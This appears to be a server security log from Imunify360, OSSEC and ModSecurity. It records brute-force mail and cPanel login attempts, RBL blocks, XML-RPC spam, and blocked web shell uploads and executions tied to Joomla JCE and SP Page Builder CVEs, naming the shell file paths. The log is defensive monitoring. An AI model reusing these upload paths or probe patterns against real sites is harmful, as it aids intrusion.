2026-07-21 13:22:53 dovecot_login authenticator failed for H=([94.228.240.2]) [124.148.134.155]:52690: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.223.111.27
country_id: 6252001
description:
2026-07-21 13:23:10 dovecot_login authenticator failed for H=(c-73-101-102-237.hsd1.pa.comcast.net) [159.223.111.27]:52880: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.111.27
country_id: 6252001
description:
Jul 21 13:23:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.111.27 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.35.111.211
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b71438673 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.239.145.229
country_id: 6252001
description:
Jul 21 13:33:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.239.145.229 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.239.145.229
country_id: 6252001
description:
2026-07-21 13:33:14 dovecot_login authenticator failed for H=([121.66.63.186]) [72.239.145.229]:50560: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.135.208.32
country_id: 1861060
description:
Jul 21 13:33:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.135.208.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.32
country_id: 1861060
description:
2026-07-21 13:33:27 dovecot_login authenticator failed for H=(111-70-29-124.emome-ip.hinet.net) [212.135.208.32]:58452: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.230.140.241
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c13855841 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.239.36.208
country_id: 3996063
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:28534.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0b008bdb954f568ff9df4717caa75fe81c27e91d||Title:0x27b2bc9e||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.119.44.188
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d6767788 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 31.223.26.60
country_id: 298795
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:68723.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2b1e738f7086f58f46e9f86e9f6696fc508180d4||Title:0x60f75d1a||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.14.223.70
country_id: 3703430
description:
Jul 21 13:49:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.14.223.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.14.223.70
country_id: 3703430
description:
2026-07-21 13:50:01 dovecot_login authenticator failed for H=([72.37.216.65]) [190.14.223.70]:32876: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 21 06:44:47 vps sshd[2673937]: error: kex_exchange_identification: read: Connection reset by peer


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.161.26.125
country_id: 1835841
description:
Jul 21 13:50:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.161.26.125 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 35.143.28.49
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e12199589 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.243.245.35
country_id: 3996063
description:
2026-07-21 11:20:35 H=([10.0.0.53]) [104.243.245.35]:59804 F=<info@magnarx.mx> rejected RCPT <info@magnarx.mx>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-21 13:50:43 dovecot_login authenticator failed for H=([219.129.96.2]) [112.161.26.125]:44060: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 139.228.174.181
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e728841 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.172.107
country_id: 248816
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f12201202 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 142.93.77.217
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:mastaj1d3gp.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.121.186.125
country_id: 6252001
description:
Jul 21 14:03:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.121.186.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.121.186.125
country_id: 6252001
description:
2026-07-21 14:03:07 dovecot_login authenticator failed for H=50-121-186-125.static.chtn.wv.ip.frontiernet.net ([31.208.53.209]) [50.121.186.125]:55559: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.75.112.190
country_id: 1562822
description:
2026-07-21 14:03:17 dovecot_login authenticator failed for H=([24.207.66.154]) [115.75.112.190]:65304: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.190.89.138
country_id: 6252001
description:
Jul 21 14:03:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.190.89.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.190.89.138
country_id: 6252001
description:
2026-07-21 14:03:33 dovecot_login authenticator failed for H=([60.249.252.94]) [50.190.89.138]:60540: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-21 14:03:57 dovecot_login authenticator failed for H=([98.181.137.75]) [102.210.148.41]:36688: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 158.173.166.129
country_id: 3144096
domain: travelinbh.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.32||T:APACHE||SC:/home/travelinbh/public_html/images/jce_qhr3q6ie.php||User:travelinbh||WPU:||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 142.93.77.217
country_id: 6252001
domain: 103.185.74.189
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.com_sppagebuilder.ini||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.59.141.115
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/342406275 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.214.10.178
country_id: 2245662
description:
Jul 21 14:10:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.214.10.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.214.10.178
country_id: 2245662
description:
2026-07-21 14:10:40 dovecot_login authenticator failed for H=([211.169.212.206]) [41.214.10.178]:38548: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.208.42
country_id: 1269750
description:
Jul 21 14:23:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.208.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-07-21 14:23:06 dovecot_login authenticator failed for H=(dsl-tn-dynamic-009.209.22.125.airtelbroadband.in) [128.185.208.42]:43982: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 80.180.82.85
country_id: 3175395
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/491302020 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 205.186.136.106
country_id: 6252001
description:
[2026-07-21 14:28:49 +0530] info [whostmgrd] 205.186.136.106 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.215.159.34
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d390322 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 82.119.203.123
country_id: 1605651
domain: ddgalaxy.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:82.119.203.123||TA:82.119.203.123||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.73
country_id: 1269750
description:
Jul 21 14:36:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-07-21 14:36:55 dovecot_login authenticator failed for H=([180.71.9.31]) [122.187.234.73]:43640: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 194.114.136.4
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/ssssd/fonts/index.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.219.210.94
country_id: 1036973
description:
Jul 21 14:37:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.219.210.94 has been locked due to Imunify RBL


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 194.114.136.4
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/ty/fonts/ty.PHP||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-21 14:37:17 dovecot_login authenticator failed for H=([72.195.34.34]) [197.219.210.94]:57392: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.63.219.148
country_id: 1835841
description:
Jul 21 14:37:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.63.219.148 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.219.148
country_id: 1835841
description:
2026-07-21 14:37:35 dovecot_login authenticator failed for H=([188.122.37.97]) [211.63.219.148]:48044: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-21 14:39:39 dovecot_login authenticator failed for H=([49.124.153.17]) [119.196.213.196]:60990: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.222.247.50
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f4905527 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.51.216.221
country_id: 1835841
description:
2026-07-21 14:39:29 dovecot_login authenticator failed for H=([174.64.199.88]) [211.51.216.221]:32861: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.51.216.221
country_id: 1835841
description:
Jul 21 14:39:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.51.216.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.196.213.196
country_id: 1835841
description:
Jul 21 14:39:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.196.213.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.59.226
country_id: 337996
description:
Jul 21 14:41:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.59.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-21 14:41:34 dovecot_login authenticator failed for H=(191-116-247-190.fibertel.com.ar) [196.189.59.226]:50942: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.208.55.106
country_id: 2661886
description:
Jul 21 14:41:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.208.55.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.55.106
country_id: 2661886
description:
2026-07-21 14:41:52 dovecot_login authenticator failed for H=31-208-55-106.cust.bredband2.com ([36.67.103.169]) [31.208.55.106]:42940: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.30.139.60
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/201561543 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-21 14:57:33 dovecot_login authenticator failed for H=([82.102.158.36]) [1.250.67.190]:58164: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.119.30
country_id: 1269750
description:
Jul 21 14:58:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.119.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.250.67.190
country_id: 1835841
description:
Jul 21 14:57:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.250.67.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-21 14:58:09 dovecot_login authenticator failed for H=([49.125.201.79]) [182.95.119.30]:32808: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 108.2.57.131
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/32802485 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.132.230.62
country_id: 1643084
description:
Jul 21 15:00:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.132.230.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.132.230.62
country_id: 1643084
description:
2026-07-21 15:00:39 dovecot_plain authenticator failed for H=(conivelis) [103.132.230.62]:33750: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.138
country_id: 2328926
description:
2026-07-21 15:05:00 dovecot_login authenticator failed for H=([210.56.12.205]) [41.207.248.138]:42817: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.66.234.228
country_id: 3424932
description:
Jul 21 15:04:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.66.234.228 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.66.234.228
country_id: 3424932
description:
2026-07-21 15:04:50 dovecot_login authenticator failed for H=([195.239.47.189]) [185.66.234.228]:54370: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.207.248.138
country_id: 2328926
description:
Jul 21 15:04:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.207.248.138 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.94.82.36
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4b3651205 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.77.195.243
country_id: 3017382
description:
Jul 21 15:09:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.77.195.243 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.11.231.104
country_id: 1269750
description:
Jul 21 15:13:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.11.231.104 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.20.87.18
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/761688137 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.220.233.148
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.168 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.70.200
country_id: 1282988
description:
2026-07-21 15:22:47 dovecot_login authenticator failed for H=(31.145.158.146.dynamic.jazztel.es) [157.119.70.200]:60836: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.119.70.200
country_id: 1282988
description:
Jul 21 15:22:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.119.70.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.212.27.150
country_id: 6252001
description:
Jul 21 15:23:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.212.27.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-21 15:23:17 dovecot_login authenticator failed for H=([131.108.162.24]) [50.212.27.150]:33072: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.206.201.253
country_id: 1269750
description:
Jul 21 15:29:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.206.201.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-21 15:29:36 dovecot_login authenticator failed for H=([196.189.124.229]) [49.206.201.253]:44560: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.33.214
country_id: 1819730
description:
Jul 21 15:32:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.33.214 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 2c0f:eb68:6ca:a000:6d7e:64bd:a032:ce8d
country_id: 49518
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:76698.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f0a0815778c45240bf4962415e5094a35064c448||Title:0x9c044784||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.77.195.243
country_id: 3017382
description:
Jul 21 15:34:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.77.195.243 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-21 15:37:27 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.16.176.106
country_id: 1643084
description:
Jul 21 15:40:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.16.176.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.168.241.32
country_id: 1269750
description:
Jul 21 15:40:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.168.241.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.16.176.106
country_id: 1643084
description:
2026-07-21 15:40:09 dovecot_login authenticator failed for H=([5.26.45.21]) [182.16.176.106]:21086: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-21 15:40:24 dovecot_login authenticator failed for H=([183.171.154.64]) [103.168.241.32]:38008: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.11.231.104
country_id: 1269750
description:
Jul 21 15:41:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.11.231.104 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.94.183.59
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f41193261 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.235.107.222
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f71391206 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 142.93.77.217
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/index.php/language/en-GB/en-GB.com_sppagebuilder.ini||User:globalgroupoman||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.105.255.56
country_id: 298795
description:
Jul 21 15:52:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.105.255.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-21 15:52:04 dovecot_login authenticator failed for H=([49.124.149.205]) [85.105.255.56]:36077: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.94.205.12
country_id: 2264397
description:
Jul 21 15:52:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.94.205.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.94.205.12
country_id: 2264397
description:
2026-07-21 15:52:25 dovecot_login authenticator failed for H=a95-94-205-12.cpe.netcabo.pt ([50.223.185.211]) [95.94.205.12]:40702: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 81.2.141.72
country_id: 2635167
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1b2067461 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.77.195.243
country_id: 3017382
description:
Jul 21 15:59:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.77.195.243 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.33.214
country_id: 1819730
description:
Jul 21 15:59:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.33.214 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.symbaloo.com/mix/agariounblockedschool?lang=EN\">unblocked</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.2.22.2
country_id: 6252001
description:
Jul 21 16:01:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.2.22.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.2.22.2
country_id: 6252001
description:
2026-07-21 16:01:34 dovecot_plain authenticator failed for H=c-107-2-22-2.hsd1.az.comcast.net (aystrin) [107.2.22.2]:56846: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.177.136.196
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.177.136.196||TA:192.177.136.196||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 64.190.46.33
country_id: 6252001
domain: keralapeople.com
description:
